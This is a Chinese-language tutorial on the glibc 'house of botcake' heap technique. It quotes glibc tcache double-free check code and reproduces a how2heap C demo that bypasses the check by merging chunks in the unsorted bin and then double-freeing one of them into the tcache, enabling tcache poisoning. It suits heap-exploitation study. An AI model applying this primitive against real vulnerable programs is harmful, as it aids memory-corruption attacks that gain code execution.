利用背景
自 glibc 2.29 开始加入了对 tcache 的 double free 检查, 使得之前的 tcache double free 失效
源码解读
tcache 结构体
1
2
3
4
5
6
| typedef struct tcache_entry
{
struct tcache_entry *next; //链表指针,对应chunk中的fd字段
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; //指向所属的tcache结构体,对应chunk中的bk字段
} tcache_entry;
|
tcache 被置入链表
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| static __always_inline void
tcache_put(mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache; //设置所属的tcache
e->next = tcache->entries[tc_idx];//单链表头插法
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]); //计数增加
}
|
tcache double free 检查
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| size_t tc_idx = csize2tidx(size);
// 只要tcache不为空,并且这个chunk属于tcache管辖范围,那么这个chunk就有可能已经在tcache中了,所以需要double free检查
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *)chunk2mem(p);
/*
如果是double free,那么put时key字段被设置了tcache,就会进入循环被检查出来
如果不是,那么key字段就是用户数据区域,可以视为随机的,只有1/(2^size_t)的可能行进入循环,然后循环发现并不是double free
*/
if (__glibc_unlikely(e->key == tcache))//剪枝
{
tcache_entry *tmp;
LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr("free(): double free detected in tcache 2");
}
if (tcache->counts[tc_idx] < mp_.tcache_count) //通过检查,放入tcahce中
{
tcache_put(p, tc_idx);
return;
}
}
|
动态调试

可以清晰的看到 bk 字段即 key 指向当前线程的 tcache chunk 区域
利用手法
利用思路
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
| // detail: https://github.com/shellphish/how2heap/blob/master/glibc_2.35/house_of_botcake.c
#include <stdlib.h>
#include <stdint.h>
int main() {
// malloc chunks
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
intptr_t *prev = malloc(0x100);
intptr_t *victim = malloc(0x100);
malloc(0x10);
// free to fill tcache bins
for(int i=0; i<7; i++){
free(x[i]);
}
free(victim);
free(prev);
// Now, victim and prev already merge
malloc(0x100);
// double free
free(victim);
return 0;
}
|
利用详解
上述代码内存布局:
1
2
| // line 20
free(victim);
|

1
2
| // line 21
free(prev);
|
此时 prev chunk 和 victim chunk 已经合并
1
2
| // line 23
malloc(0x100);
|
此时申请内存块首先会从 tcache bins 返回内存块
1
2
| // line 25
free(victim);
|
victim chunk 已经被链接进了 tcache bins
只要 malloc 到 prev chunk 这块内存,就可以进行 tcache poisoning attack
此漏洞的造成是因为 tcache 的检查不严谨导致的, free 函数通过检测当前 chunk 大小是否在 tcache 范围内来判断 double free
1
2
3
4
5
6
7
8
| if (__glibc_unlikely(e->key == tcache))//剪枝
{
tcache_entry *tmp;
LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr("free(): double free detected in tcache 2");
}
|
没有考虑到 unsorted bins chunk 被置入 tcache 没有 key 的情况
利用示例